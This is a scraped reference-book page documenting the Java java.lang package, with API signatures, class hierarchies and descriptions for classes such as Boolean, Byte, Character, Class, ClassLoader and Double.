// | Protected Constructors
 | protected Writer ();
 | protected Writer (Object lock);
// | Public Instance Methods
 | public abstract void close () throws IOException;
 | public abstract void flush () throws IOException;
 | public void write (String str) throws IOException;
 | public void write (char[ ] cbuf) throws IOException;
 | public void write (int c) throws IOException;
 | public void write (String str, int off, int len) throws IOException;
 | public abstract void write (char[ ] cbuf, int off, int len) throws IOException;
// | Protected Instance Fields
 | protected Object lock ;
}

Subclasses: BufferedWriter, CharArrayWriter, FilterWriter, OutputStreamWriter, PipedWriter, PrintWriter, StringWriter

Passed To: Too many methods to list.

Returned By: javax.swing.text.AbstractWriter.getWriter()

Type Of: FilterWriter.out, PrintWriter.out

Previous | Home | Next
10.1. The java.beans.beancontext Package | Book Index | 12. The java.lang Package
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


The java.lang Package (Java in a Nutshell)

 Java Enterprise in a Nutshell Search this book

Chapter 12. The java.lang Package

The java.lang package contains the classes that are most central to the Java language. As you can see from Figure 12-1, the class hierarchy is broad rather than deep, which means that the classes are independent of each other.

Figure 12-1. The java.lang package

Object is the ultimate superclass of all Java classes and is therefore at the top of all class hierarchies. Class is a class that describes a Java class. There is one Class object for each class that is loaded into Java.

Boolean, Character, Byte, Short, Integer, Long, Float, and Double are immutable class wrappers around each of the primitive Java data types. These classes are useful when you need to manipulate primitive types as objects. They also contain useful conversion and utility methods. String and StringBuffer are objects that represent strings. String is an immutable type, while StringBuffer can have its string changed in place. In Java 1.2 and later, all these classes (except StringBuffer) implement the Comparable interface, which enables sorting and searching algorithms. The Math class (and, in Java 1.3, the StrictMath class) defines static methods for various floating-point mathematical functions.

The Thread class provides support for multiple threads of control running within the same Java interpreter. The Runnable interface is implemented by objects that have a run() method that can serve as the body of a thread.

System provides low-level system methods. Runtime provides similar low-level methods, including an exec() method that, along with the Process class, defines an API for running external processes.

Throwable is the root class of the exception and error hierarchy. Throwable objects are used with the Java throw and catch statements. java.lang defines quite a few subclasses of Throwable. Exception and Error are the superclasses of all exceptions and errors. Figure 12-2 and Figure 12-3 show the class hierarchies for these core Java exceptions and errors.

Figure 12-2. The exception classes in the java.lang package

Figure 12-3. The error classes in the java.lang package

AbstractMethodError | Java 1.0
java.lang | serializable error PJ1.1

Signals an attempt to invoke an abstract method.

public class AbstractMethodError extends IncompatibleClassChangeError {
// | Public Constructors
 | public AbstractMethodError ();
 | public AbstractMethodError (String s);
}

Hierarchy: Object-->Throwable(Serializable)-->Error-->LinkageError-->IncompatibleClassChangeError-->AbstractMethodError

ArithmeticException | Java 1.0
java.lang | serializable unchecked PJ1.1

A RuntimeException that signals an exceptional arithmetic condition, such as integer division by zero.

public class ArithmeticException extends RuntimeException {
// | Public Constructors
 | public ArithmeticException ();
 | public ArithmeticException (String s);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->RuntimeException-->ArithmeticException

ArrayIndexOutOfBoundsException | Java 1.0
java.lang | serializable unchecked PJ1.1

Signals that an array index less than zero or greater than or equal to the array size has been used.

public class ArrayIndexOutOfBoundsException extends IndexOutOfBoundsException {
// | Public Constructors
 | public ArrayIndexOutOfBoundsException ();
 | public ArrayIndexOutOfBoundsException (String s);
 | public ArrayIndexOutOfBoundsException (int index);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->RuntimeException-->IndexOutOfBoundsException-->ArrayIndexOutOfBoundsException

Thrown By: Too many methods to list.

ArrayStoreException | Java 1.0
java.lang | serializable unchecked PJ1.1

Signals an attempt to store the wrong type of object into an array.

public class ArrayStoreException extends RuntimeException {
// | Public Constructors
 | public ArrayStoreException ();
 | public ArrayStoreException (String s);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->RuntimeException-->ArrayStoreException

Boolean | Java 1.0
java.lang | serializable PJ1.1

This class provides an immutable object wrapper around the boolean primitive type. Note that the TRUE and FALSE constants are Boolean objects; they are not the same as the true and falseboolean values. As of Java 1.1, this class defines a Class constant that represents the boolean type. booleanValue() returns the boolean value of a Boolean object. The class method getBoolean() retrieves the boolean value of a named property from the system property list. The class method valueOf() parses a string and returns the boolean value it represents.

public final class Boolean implements Serializable {
// | Public Constructors
 | public Boolean (boolean value);
 | public Boolean (String s);
// | Public Constants
 | public static final Boolean FALSE ;
 | public static final Boolean TRUE ;
1.1 | public static final Class TYPE ;
// | Public Class Methods
 | public static boolean getBoolean (String name);
 | public static Boolean valueOf (String s);
// | Public Instance Methods
 | public boolean booleanValue ();
// | Public Methods Overriding Object
 | public boolean equals (Object obj);
 | public int hashCode ();
 | public String toString ();
}

Hierarchy: Object-->Boolean(Serializable)

Passed To: javax.swing.DefaultDesktopManager.setWasIcon()

Returned By: Boolean.valueOf(), javax.swing.filechooser.FileView.isTraversable()

Type Of: java.awt.font.TextAttribute.{RUN_DIRECTION_LTR, RUN_DIRECTION_RTL, STRIKETHROUGH_ON, SWAP_COLORS_ON}, Boolean.{FALSE, TRUE}

Byte | Java 1.1
java.lang | serializable comparable PJ1.1

This class provides an object wrapper around the byte primitive type. It defines useful constants for the minimum and maximum values that can be stored by the byte type and a Class object constant that represents the byte type. It also provides various methods for converting Byte values to and from strings and other numeric types.

Most of the static methods of this class can convert a String to a Byte object or a byte value: the four parseByte() and valueOf() methods parse a number from the specified string using an optionally specified radix and return it in one of these two forms. The decode() method parses a byte specified in base 10, base 8, or base 16 and returns it as a Byte. If the string begins with "0x" or "#", it is interpreted as a hexadecimal number. If it begins with "0", it is interpreted as an octal number. Otherwise, it is interpreted as a decimal number.

Note that this class has two toString() methods. One is static and converts a byte primitive value to a string; the other is the usual toString() method that converts a Byte object to a string. Most of the remaining methods convert a Byte to various primitive numeric types.

public final class Byte extends Number implements Comparable {
// | Public Constructors
 | public Byte (byte value); |
 | public Byte (String s) throws NumberFormatException; |
// | Public Constants
 | public static final byte MAX_VALUE ; | =127
 | public static final byte MIN_VALUE ; | =-128
 | public static final Class TYPE ; |
// | Public Class Methods
 | public static Byte decode (String nm) throws NumberFormatException; |
 | public static byte parseByte (String s) throws NumberFormatException; |
 | public static byte parseByte (String s, int radix) throws NumberFormatException; |
 | public static String toString (byte b); |
 | public static Byte valueOf (String s) throws NumberFormatException; |
 | public static Byte valueOf (String s, int radix) throws NumberFormatException; |
// | Public Instance Methods
1.2 | public int compareTo (Byte anotherByte); |
// | Methods Implementing Comparable
1.2 | public int compareTo (Object o); |
// | Public Methods Overriding Number
 | public byte byteValue (); |
 | public double doubleValue (); |
 | public float floatValue (); |
 | public int intValue (); |
 | public long longValue (); |
 | public short shortValue (); |
// | Public Methods Overriding Object
 | public boolean equals (Object obj); |
 | public int hashCode (); |
 | public String toString (); |
}

Hierarchy: Object-->Number(Serializable)-->Byte(Comparable)

Passed To: Byte.compareTo()

Returned By: Byte.{decode(), valueOf()}

Character | Java 1.0
java.lang | serializable comparable PJ1.1

This class provides an immutable object wrapper around the primitive char data type. charValue() returns the char value of a Character object. A number of class methods provide the Java/Unicode equivalent of the C <ctype.h> character macros for checking the type of characters and converting to uppercase and lowercase letters. getType() returns the character type. The return value is one of the constants defined by the class, which represents a number of broad Unicode character categories. digit() returns the integer equivalent of a given character for a given radix (e.g., radix 16 for hexadecimal). forDigit() returns the character that corresponds to the specified value for the specified radix.

public final class Character implements ComparableSerializable {
// | Public Constructors
 | public Character (char value); |
// | Public Constants
1.1 | public static final byte COMBINING_SPACING_MARK ; | =8
1.1 | public static final byte CONNECTOR_PUNCTUATION ; | =23
1.1 | public static final byte CONTROL ; | =15
1.1 | public static final byte CURRENCY_SYMBOL ; | =26
1.1 | public static final byte DASH_PUNCTUATION ; | =20
1.1 | public static final byte DECIMAL_DIGIT_NUMBER ; | =9
1.1 | public static final byte ENCLOSING_MARK ; | =7
1.1 | public static final byte END_PUNCTUATION ; | =22
1.1 | public static final byte FORMAT ; | =16
1.1 | public static final byte LETTER_NUMBER ; | =10
1.1 | public static final byte LINE_SEPARATOR ; | =13
1.1 | public static final byte LOWERCASE_LETTER ; | =2
1.1 | public static final byte MATH_SYMBOL ; | =25
 | public static final int MAX_RADIX ; | =36
 | public static final char MAX_VALUE ; | ='\uFFFF'
 | public static final int MIN_RADIX ; | =2
 | public static final char MIN_VALUE ; | ='\0'
1.1 | public static final byte MODIFIER_LETTER ; | =4
1.1 | public static final byte MODIFIER_SYMBOL ; | =27
1.1 | public static final byte NON_SPACING_MARK ; | =6
1.1 | public static final byte OTHER_LETTER ; | =5
1.1 | public static final byte OTHER_NUMBER ; | =11
1.1 | public static final byte OTHER_PUNCTUATION ; | =24
1.1 | public static final byte OTHER_SYMBOL ; | =28
1.1 | public static final byte PARAGRAPH_SEPARATOR ; | =14
1.1 | public static final byte PRIVATE_USE ; | =18
1.1 | public static final byte SPACE_SEPARATOR ; | =12
1.1 | public static final byte START_PUNCTUATION ; | =21
1.1 | public static final byte SURROGATE ; | =19
1.1 | public static final byte TITLECASE_LETTER ; | =3
1.1 | public static final Class TYPE ; |
1.1 | public static final byte UNASSIGNED ; | =0
1.1 | public static final byte UPPERCASE_LETTER ; | =1
// | Inner Classes
1.2 | ; |
1.2 | ; |
// | Public Class Methods
 | public static int digit (char ch, int radix); |
 | public static char forDigit (int digit, int radix); |
1.1 | public static int getNumericValue (char ch); |
1.1 | public static int getType (char ch); |
 | public static boolean isDefined (char ch); |
 | public static boolean isDigit (char ch); |
1.1 | public static boolean isIdentifierIgnorable (char ch); |
1.1 | public static boolean isISOControl (char ch); |
1.1 | public static boolean isJavaIdentifierPart (char ch); |
1.1 | public static boolean isJavaIdentifierStart (char ch); |
 | public static boolean isLetter (char ch); |
 | public static boolean isLetterOrDigit (char ch); |
 | public static boolean isLowerCase (char ch); |
1.1 | public static boolean isSpaceChar (char ch); |
 | public static boolean isTitleCase (char ch); |
1.1 | public static boolean isUnicodeIdentifierPart (char ch); |
1.1 | public static boolean isUnicodeIdentifierStart (char ch); |
 | public static boolean isUpperCase (char ch); |
1.1 | public static boolean isWhitespace (char ch); |
 | public static char toLowerCase (char ch); |
 | public static char toTitleCase (char ch); |
 | public static char toUpperCase (char ch); |
// | Public Instance Methods
 | public char charValue (); |
1.2 | public int compareTo (Character anotherCharacter); |
// | Methods Implementing Comparable
1.2 | public int compareTo (Object o); |
// | Public Methods Overriding Object
 | public boolean equals (Object obj); |
 | public int hashCode (); |
 | public String toString (); |
// | Deprecated Public Methods
# | public static boolean isJavaLetter (char ch); |
# | public static boolean isJavaLetterOrDigit (char ch); |
# | public static boolean isSpace (char ch); |
}

Hierarchy: Object-->Character(Comparable,Serializable)

Passed To: Character.compareTo()

Character.Subset Java 1.2
java.lang

This class represents a named subset of the Unicode character set. The toString() method returns the name of the subset. This is a base class intended for further subclassing. Note, in particular, that it does not provide a way to list the members of the subset, nor a way to test for membership in the subset. See Character.UnicodeBlock.

public static class Character.Subset {
// | Protected Constructors
 | protected Subset (String name);
// | Public Methods Overriding Object
 | public final boolean equals (Object obj);
 | public final int hashCode ();
 | public final String toString ();
}

Subclasses: java.awt.im.InputSubset, Character.UnicodeBlock

Passed To: java.awt.im.InputContext.setCharacterSubsets(), java.awt.im.spi.InputMethod.setCharacterSubsets()

Character.UnicodeBlock Java 1.2
java.lang

This subclass of Character.Subset defines a number of constants that represent named subsets of the Unicode character set. The subsets and their names are the "character blocks" defined by the Unicode 2.0 specification (see http://www.unicode.org/ ). The static method of() takes a character and returns the Character.UnicodeBlock to which it belongs, or null if it is not part of any defined block. When presented with an unknown Unicode character, this method provides a useful way to determine what alphabet it belongs to.

public static final class Character.UnicodeBlock extends Character.Subset {
// | No Constructor
// | Public Constants
 | public static final Character.UnicodeBlock ALPHABETIC_PRESENTATION_FORMS ;
 | public static final Character.UnicodeBlock ARABIC ;
 | public static final Character.UnicodeBlock ARABIC_PRESENTATION_FORMS_A ;
 | public static final Character.UnicodeBlock ARABIC_PRESENTATION_FORMS_B ;
 | public static final Character.UnicodeBlock ARMENIAN ;
 | public static final Character.UnicodeBlock ARROWS ;
 | public static final Character.UnicodeBlock BASIC_LATIN ;
 | public static final Character.UnicodeBlock BENGALI ;
 | public static final Character.UnicodeBlock BLOCK_ELEMENTS ;
 | public static final Character.UnicodeBlock BOPOMOFO ;
 | public static final Character.UnicodeBlock BOX_DRAWING ;
 | public static final Character.UnicodeBlock CJK_COMPATIBILITY ;
 | public static final Character.UnicodeBlock CJK_COMPATIBILITY_FORMS ;
 | public static final Character.UnicodeBlock CJK_COMPATIBILITY_IDEOGRAPHS ;
 | public static final Character.UnicodeBlock CJK_SYMBOLS_AND_PUNCTUATION ;
 | public static final Character.UnicodeBlock CJK_UNIFIED_IDEOGRAPHS ;
 | public static final Character.UnicodeBlock COMBINING_DIACRITICAL_MARKS ;
 | public static final Character.UnicodeBlock COMBINING_HALF_MARKS ;
 | public static final Character.UnicodeBlock COMBINING_MARKS_FOR_SYMBOLS ;
 | public static final Character.UnicodeBlock CONTROL_PICTURES ;
 | public static final Character.UnicodeBlock CURRENCY_SYMBOLS ;
 | public static final Character.UnicodeBlock CYRILLIC ;
 | public static final Character.UnicodeBlock DEVANAGARI ;
 | public static final Character.UnicodeBlock DINGBATS ;
 | public static final Character.UnicodeBlock ENCLOSED_ALPHANUMERICS ;
 | public static final Character.UnicodeBlock ENCLOSED_CJK_LETTERS_AND_MONTHS ;
 | public static final Character.UnicodeBlock GENERAL_PUNCTUATION ;
 | public static final Character.UnicodeBlock GEOMETRIC_SHAPES ;
 | public static final Character.UnicodeBlock GEORGIAN ;
 | public static final Character.UnicodeBlock GREEK ;
 | public static final Character.UnicodeBlock GREEK_EXTENDED ;
 | public static final Character.UnicodeBlock GUJARATI ;
 | public static final Character.UnicodeBlock GURMUKHI ;
 | public static final Character.UnicodeBlock HALFWIDTH_AND_FULLWIDTH_FORMS ;
 | public static final Character.UnicodeBlock HANGUL_COMPATIBILITY_JAMO ;
 | public static final Character.UnicodeBlock HANGUL_JAMO ;
 | public static final Character.UnicodeBlock HANGUL_SYLLABLES ;
 | public static final Character.UnicodeBlock HEBREW ;
 | public static final Character.UnicodeBlock HIRAGANA ;
 | public static final Character.UnicodeBlock IPA_EXTENSIONS ;
 | public static final Character.UnicodeBlock KANBUN ;
 | public static final Character.UnicodeBlock KANNADA ;
 | public static final Character.UnicodeBlock KATAKANA ;
 | public static final Character.UnicodeBlock LAO ;
 | public static final Character.UnicodeBlock LATIN_1_SUPPLEMENT ;
 | public static final Character.UnicodeBlock LATIN_EXTENDED_A ;
 | public static final Character.UnicodeBlock LATIN_EXTENDED_ADDITIONAL ;
 | public static final Character.UnicodeBlock LATIN_EXTENDED_B ;
 | public static final Character.UnicodeBlock LETTERLIKE_SYMBOLS ;
 | public static final Character.UnicodeBlock MALAYALAM ;
 | public static final Character.UnicodeBlock MATHEMATICAL_OPERATORS ;
 | public static final Character.UnicodeBlock MISCELLANEOUS_SYMBOLS ;
 | public static final Character.UnicodeBlock MISCELLANEOUS_TECHNICAL ;
 | public static final Character.UnicodeBlock NUMBER_FORMS ;
 | public static final Character.UnicodeBlock OPTICAL_CHARACTER_RECOGNITION ;
 | public static final Character.UnicodeBlock ORIYA ;
 | public static final Character.UnicodeBlock PRIVATE_USE_AREA ;
 | public static final Character.UnicodeBlock SMALL_FORM_VARIANTS ;
 | public static final Character.UnicodeBlock SPACING_MODIFIER_LETTERS ;
 | public static final Character.UnicodeBlock SPECIALS ;
 | public static final Character.UnicodeBlock SUPERSCRIPTS_AND_SUBSCRIPTS ;
 | public static final Character.UnicodeBlock SURROGATES_AREA ;
 | public static final Character.UnicodeBlock TAMIL ;
 | public static final Character.UnicodeBlock TELUGU ;
 | public static final Character.UnicodeBlock THAI ;
 | public static final Character.UnicodeBlock TIBETAN ;
// | Public Class Methods
 | public static Character.UnicodeBlock of (char c);
}

Returned By: Character.UnicodeBlock.of()

Type Of: Too many fields to list.

Class | Java 1.0
java.lang | serializable PJ1.1

This class represents a Java class or interface, or, as of Java 1.1, any Java type. There is one Class object for each class that is loaded into the Java Virtual Machine, and, as of Java 1.1, there are special Class objects that represent the Java primitive types. The TYPE constants defined by Boolean, Integer, and the other primitive wrapper classes hold these special Class objects. Array types are also represented by Class objects in Java 1.1.

There is no constructor for this class. You can obtain a Class object by calling the getClass() method of any instance of the desired class. In Java 1.1 and later, you can also refer to a Class object by appending .class to the name of a class. Finally, and most interestingly, a class can be dynamically loaded by passing its fully qualified name (i.e., package name plus class name) to the static Class.forName() method. This method loads the named class (if it is not already loaded) into the Java interpreter and returns a Class object for it. Classes can also be loaded with a ClassLoader object.

The newInstance() method creates an instance of a given class; this allows you to create instances of dynamically loaded classes for which you cannot use the new keyword. Note that this method only works when the target class has a no-argument constructor. See newInstance() in java.lang.reflect.Constructor for a more powerful way to instantiate dynamically loaded classes.

getName() returns the name of the class. getSuperclass() returns its superclass. isInterface() tests whether the Class object represents an interface, and getInterfaces() returns an array of the interfaces that this class implements. In Java 1.2 and later, getPackage() returns a Package object that represents the package containing the class. getProtectionDomain() returns the java.security.ProtectionDomain to which this class belongs. The various other get() and is() methods return other information about the represented class; they form part of the Java Reflection API, along with the classes in java.lang.reflect.

public final class Class implements Serializable {
// | No Constructor
// | Public Class Methods
 | public static Class forName (String className) throws ClassNotFoundException; |
1.2 | public static Class forName (String name, boolean initialize, ClassLoader loader) throws ClassNotFoundException; |
// | Property Accessor Methods (by property name)
1.1 | public boolean isArray (); | native
1.1 | public Class[ ] getClasses (); |
 | public ClassLoader getClassLoader (); |
1.1 | public Class getComponentType (); | native
1.1 | public java.lang.reflect.Constructor[ ] getConstructors () throws SecurityException; |
1.1 | public Class[ ] getDeclaredClasses () throws SecurityException; |
1.1 | public java.lang.reflect.Constructor[ ] getDeclaredConstructors () throws SecurityException; |
1.1 | public java.lang.reflect.Field[ ] getDeclaredFields () throws SecurityException; |
1.1 | public java.lang.reflect.Method[ ] getDeclaredMethods () throws SecurityException; |
1.1 | public Class getDeclaringClass (); | native
1.1 | public java.lang.reflect.Field[ ] getFields () throws SecurityException; |
 | public boolean isInterface (); | native
 | public Class[ ] getInterfaces (); | native
1.1 | public java.lang.reflect.Method[ ] getMethods () throws SecurityException; |
1.1 | public int getModifiers (); | native
 | public String getName (); | native
1.2 | public Package getPackage (); |
1.1 | public boolean isPrimitive (); | native
1.2 | public java.security.ProtectionDomain getProtectionDomain (); |
1.1 | public Object[ ] getSigners (); | native
 | public Class getSuperclass (); | native
// | Public Instance Methods
1.1 | public java.lang.reflect.Constructor getConstructor (Class[ ] parameterTypes) throws NoSuchMethodExceptionSecurityException; |
1.1 | public java.lang.reflect.Constructor getDeclaredConstructor (Class[ ] parameterTypes) throws NoSuchMethodExceptionSecurityException; |
1.1 | public java.lang.reflect.Field getDeclaredField (String name) throws NoSuchFieldExceptionSecurityException; |
1.1 | public java.lang.reflect.Method getDeclaredMethod (String name, Class[ ] parameterTypes) throws NoSuchMethodExceptionSecurityException; |
1.1 | public java.lang.reflect.Field getField (String name) throws NoSuchFieldExceptionSecurityException; |
1.1 | public java.lang.reflect.Method getMethod (String name, Class[ ] parameterTypes) throws NoSuchMethodExceptionSecurityException; |
1.1 | public java.net.URL getResource (String name); |
1.1 | public java.io.InputStream getResourceAsStream (String name); |
1.1 | public boolean isAssignableFrom (Class cls); | native
1.1 | public boolean isInstance (Object obj); | native
 | public Object newInstance () throws InstantiationExceptionIllegalAccessException; |
// | Public Methods Overriding Object
 | public String toString (); |
}

Hierarchy: Object-->Class(Serializable)

Passed To: Too many methods to list.

Returned By: Too many methods to list.

Type Of: java.beans.beancontext.BeanContextServiceAvailableEvent.serviceClass, java.beans.beancontext.BeanContextServiceRevokedEvent.serviceClass, Boolean.TYPE, Byte.TYPE, Character.TYPE, Double.TYPE, Float.TYPE, Integer.TYPE, Long.TYPE, Short.TYPE, Void.TYPE

ClassCastException | Java 1.0
java.lang | serializable unchecked PJ1.1

Signals an invalid cast of an object to a type of which it is not an instance.

public class ClassCastException extends RuntimeException {
// | Public Constructors
 | public ClassCastException ();
 | public ClassCastException (String s);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->RuntimeException-->ClassCastException

ClassCircularityError | Java 1.0
java.lang | serializable error PJ1.1

Signals that a circular dependency has been detected while performing initialization for a class.

public class ClassCircularityError extends LinkageError {
// | Public Constructors
 | public ClassCircularityError ();
 | public ClassCircularityError (String s);
}

Hierarchy: Object-->Throwable(Serializable)-->Error-->LinkageError-->ClassCircularityError

ClassFormatError | Java 1.0
java.lang | serializable error PJ1.1

Signals an error in the binary format of a class file.

public class ClassFormatError extends LinkageError {
// | Public Constructors
 | public ClassFormatError ();
 | public ClassFormatError (String s);
}

Hierarchy: Object-->Throwable(Serializable)-->Error-->LinkageError-->ClassFormatError

Subclasses: UnsupportedClassVersionError

Thrown By: ClassLoader.defineClass()

ClassLoader | Java 1.0
java.lang | PJ1.1

This class is the abstract superclass of objects that know how to load Java classes into a Java VM. Given a ClassLoader object, you can dynamically load a class by calling the public loadClass() method, specifying the full name of the desired class. You can obtain a resource associated with a class by calling getResource(), getResources(), and getResourceAsStream(). Many applications do not need to use ClassLoader directly; these applications use the Class.forName() and Class.getResource() methods to dynamically load classes and resources using the ClassLoader object that loaded the application itself.

In order to load classes over the network or from any source other than the standard system classes, you must use a custom ClassLoader object that knows how to obtain data from that source. A java.net.URLClassLoader is suitable for this purpose for almost all applications. Only rarely should an application need to define a ClassLoader subclass of its own. When this is necessary, the subclass should typically extend java.security.SecureClassLoader and override the findClass() method. This method must find the bytes that comprise the named class, then pass them to the defineClass() method and return the resulting Class object. In Java 1.2 and later, the findClass() method must also define the Package object associated with the class, if it has not already been defined. It can use getPackage() and definePackage() for this purpose. Custom subclasses of ClassLoader should also override findResource() and findResources() to enable the public getResource() and getResources() methods.

public abstract class ClassLoader {
// | Protected Constructors
 | protected ClassLoader (); |
1.2 | protected ClassLoader (ClassLoader parent); |
// | Public Class Methods
1.2 | public static ClassLoader getSystemClassLoader (); |
1.1 | public static java.net.URL getSystemResource (String name); |
1.1 | public static java.io.InputStream getSystemResourceAsStream (String name); |
1.2 | public static java.util.Enumeration getSystemResources (String name) throws java.io.IOException; |
// | Public Instance Methods
1.2 | public final ClassLoader getParent (); |
1.1 | public java.net.URL getResource (String name); |
1.1 | public java.io.InputStream getResourceAsStream (String name); |
1.2 | public final java.util.Enumeration getResources (String name) throws java.io.IOException; |
1.1 | public Class loadClass (String name) throws ClassNotFoundException; |
// | Protected Instance Methods
1.1 | protected final Class defineClass (String name, byte[ ] b, int off, int len) throws ClassFormatError; |
1.2 | protected final Class defineClass (String name, byte[ ] b, int off, int len, java.security.ProtectionDomain protectionDomain) throws ClassFormatError; |
1.2 | protected Package definePackage (String name, String specTitle, String specVersion, String specVendor, String implTitle, String implVersion, String implVendor, java.net.URL sealBase) throws IllegalArgumentException; |
1.2 | protected Class findClass (String name) throws ClassNotFoundException; |
1.2 | protected String findLibrary (String libname); | constant
1.1 | protected final Class findLoadedClass (String name); | native
1.2 | protected java.net.URL findResource (String name); | constant
1.2 | protected java.util.Enumeration findResources (String name) throws java.io.IOException; |
 | protected final Class findSystemClass (String name) throws ClassNotFoundException; |
1.2 | protected Package getPackage (String name); |
1.2 | protected Package[ ] getPackages (); |
 | protected Class loadClass (String name, boolean resolve) throws ClassNotFoundException; | synchronized
 | protected final void resolveClass (Class c); |
1.1 | protected final void setSigners (Class c, Object[ ] signers); |
// | Deprecated Protected Methods
# | protected final Class defineClass (byte[ ] b, int off, int len) throws ClassFormatError; |
}

Subclasses: java.security.SecureClassLoader

Passed To: Too many methods to list.

Returned By: Class.getClassLoader(), ClassLoader.{getParent(), getSystemClassLoader()}, SecurityManager.currentClassLoader(), Thread.getContextClassLoader(), java.rmi.server.RMIClassLoader.getClassLoader()

ClassNotFoundException | Java 1.0
java.lang | serializable checked PJ1.1

Signals that a class to be loaded cannot be found.

public class ClassNotFoundException extends Exception {
// | Public Constructors
 | public ClassNotFoundException (); |
 | public ClassNotFoundException (String s); |
1.2 | public ClassNotFoundException (String s, Throwable ex); |
// | Public Instance Methods
1.2 | public Throwable getException (); | default:null
// | Public Methods Overriding Throwable
1.2 | public void printStackTrace (); |
1.2 | public void printStackTrace (java.io.PrintWriter pw); |
1.2 | public void printStackTrace (java.io.PrintStream ps); |
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->ClassNotFoundException

Thrown By: Too many methods to list.

Cloneable | Java 1.0
java.lang | cloneable PJ1.1

This interface defines no methods or variables, but indicates that the class that implements it may be cloned (i.e., copied) by calling the Object method clone(). Calling clone() for an object that does not implement this interface (and does not override clone() with its own implementation) causes a CloneNotSupportedException to be thrown.

public interface Cloneable {
}

Implementations: Too many classes to list.

CloneNotSupportedException | Java 1.0
java.lang | serializable checked PJ1.1

Signals that the clone() method has been called for an object of a class that does not implement the Cloneable interface.

public class CloneNotSupportedException extends Exception {
// | Public Constructors
 | public CloneNotSupportedException ();
 | public CloneNotSupportedException (String s);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->CloneNotSupportedException

Subclasses: java.rmi.server.ServerCloneException

Thrown By: java.awt.datatransfer.DataFlavor.clone(), Object.clone(), java.rmi.server.UnicastRemoteObject.clone(), java.security.MessageDigest.clone(), java.security.MessageDigestSpi.clone(), java.security.Signature.clone(), java.security.SignatureSpi.clone(), javax.crypto.Mac.clone(), javax.crypto.MacSpi.clone(), javax.swing.AbstractAction.clone(), javax.swing.DefaultListSelectionModel.clone(), javax.swing.tree.DefaultTreeSelectionModel.clone()

Comparable | Java 1.2
java.lang | comparable

This interface defines a single method, compareTo(), that is responsible for comparing one object to another and determining their relative order, according to some natural ordering for that class of objects. Any general-purpose class that represents a value that can be sorted or ordered should implement this interface. Any class that does implement this interface can make use of various powerful methods such as java.util.Collections.sort() and java.util.Arrays.binarySearch(). As of Java 1.2, many of the key classes in the Java API have been modified to implement this interface.

The compareTo() object compares this object to the object passed as an argument. It should assume that the supplied object is of the appropriate type; if it is not, it should throw a ClassCastException. If this object is less than the supplied object or should appear before the supplied object in a sorted list, compareTo() should return a negative number. If this object is greater than the supplied object or should come after the supplied object in a sorted list, compareTo() should return a positive integer. If the two objects are equivalent, and their relative order in a sorted list does not matter, compareTo() should return 0. If compareTo() returns 0 for two objects, the equals() method should typically return true. If this is not the case, the Comparable objects are not suitable for use in java.util.TreeSet and java.util.TreeMap classes.

See java.util.Comparator for a way to define an ordering for objects that do not implement Comparable or to define an ordering other than the natural ordering defined by a Comparable class.

public interface Comparable {
// | Public Instance Methods
 | public abstract int compareTo (Object o);
}

Implementations: java.io.File, java.io.ObjectStreamField, Byte, Character, Double, Float, Integer, Long, Short, String, java.math.BigDecimal, java.math.BigInteger, java.text.CollationKey, java.util.Date

Compiler | Java 1.0
java.lang | PJ1.1

The static methods of this class provide an interface to the just-in-time (JIT) byte-code-to-native code compiler in use by the Java interpreter. If no JIT compiler is in use by the VM, these methods do nothing. compileClass() asks the JIT compiler to compile the specified class. compileClasses() asks the JIT compiler to compile all classes that match the specified name. These methods return true if the compilation was successful, or false if it failed or if there is no JIT compiler on the system. enable() and disable() turn just-in-time compilation on and off. command() asks the JIT compiler to perform some compiler-specific operation; this is a hook for vendor extensions. No standard operations have been defined.

public final class Compiler {
// | No Constructor
// | Public Class Methods
 | public static Object command (Object any); | native
 | public static boolean compileClass (Class clazz); | native
 | public static boolean compileClasses (String string); | native
 | public static void disable (); | native
 | public static void enable (); | native
}
Double | Java 1.0
java.lang | serializable comparable PJ1.1

This class provides an immutable object wrapper around the double primitive data type. valueOf() converts a string to a Double, doubleValue() returns the primitive double value of a Double object, and there are other methods for returning a Double value as a variety of other primitive types. This class also provides some useful constants and static methods for testing double values. MIN_VALUE and MAX_VALUE are the smallest (closest to zero) and largest representable double values. isInfinite() in class and instance method forms tests whether a double or a Double has an infinite value. Similarly, isNaN() tests whether a double or Double is not-a-number; this is a comparison that cannot be done directly because the NaN constant never tests equal to any other value, including itself. doubleToLongBits() and longBitsToDouble() allow you to manipulate the bit representation of a double directly.

public final class Double extends Number implements Comparable {
// | Public Constructors
 | public Double (String s) throws NumberFormatException; |
 | public Double (double value); |
// | Public Constants
 | public static final double MAX_VALUE ; | =1.7976931348623157E308
 | public static final double MIN_VALUE ; |
 | public static final double NaN ; | =NaN
 | public static final double NEGATIVE_INFINITY ; | =-Infinity
 | public static final double POSITIVE_INFINITY ; | =Infinity
1.1 | public static final Class TYPE ; |
// | Public Class Methods
 | public static long doubleToLongBits (double value); | native
1.3 | public static long doubleToRawLongBits (double value); | native
 | public static boolean isInfinite (double v); |
 | public static boolean isNaN (double v); |
 | public static double longBitsToDouble (long bits); | native
1.2 | public static double parseDouble (String s) throws NumberFormatException; |
 | public static String toString (double d); |
 | public static Double valueOf (String s) throws NumberFormatException; |
// | Public Instance Methods
1.2 | public int compareTo (Double anotherDouble); |
 | public boolean isInfinite (); |
 | public boolean isNaN (); |
// | Methods Implementing Comparable
1.2 | public int compareTo (Object o); |
// | Public Methods Overriding Number
1.1 | public byte byteValue (); |
 | public double doubleValue (); |
 | public float floatValue (); |
 | public int intValue (); |
 | public long longValue (); |
1.1 | public short shortValue (); |
// | Public Methods Overriding Object
 | public boolean equals (Object obj); |
 | public int hashCode (); |
 | public String toString (); |
}

Hierarchy: Object-->Number(Serializable)-->Double(Comparable)

Passed To: Double.compareTo()

Returned By: Double.valueOf()

Error | Java 1.0
java.lang | serializable error PJ1.1

This class forms the root of the error hierarchy in Java. Subclasses of Error, unlike subclasses of Exception, should not be caught and generally cause termination of the program. Subclasses of Error need not be declared in the throws clause of a method definition. getMessage() returns a message associated with the error. See Throwable for other methods.

public class Error extends Throwable {
// | Public Constructors
 | public Error ();
 | public Error (String s);
}

Hierarchy: Object-->Throwable(Serializable)-->Error

